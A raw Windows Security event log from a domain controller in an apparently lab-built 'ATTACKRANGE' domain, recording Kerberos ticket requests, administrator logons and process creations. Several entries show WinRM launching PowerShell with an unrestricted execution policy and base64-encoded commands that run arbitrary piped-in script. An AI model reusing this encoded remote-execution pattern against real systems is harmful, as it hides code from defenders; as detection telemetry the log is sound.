	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B654
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251969
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251968
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251967
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251966
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1240
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x604
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x604
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1064
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251964
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A2E4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251963
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A2E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251962
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251961
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251960
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251959
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251957
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A0E3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251956
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A0E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
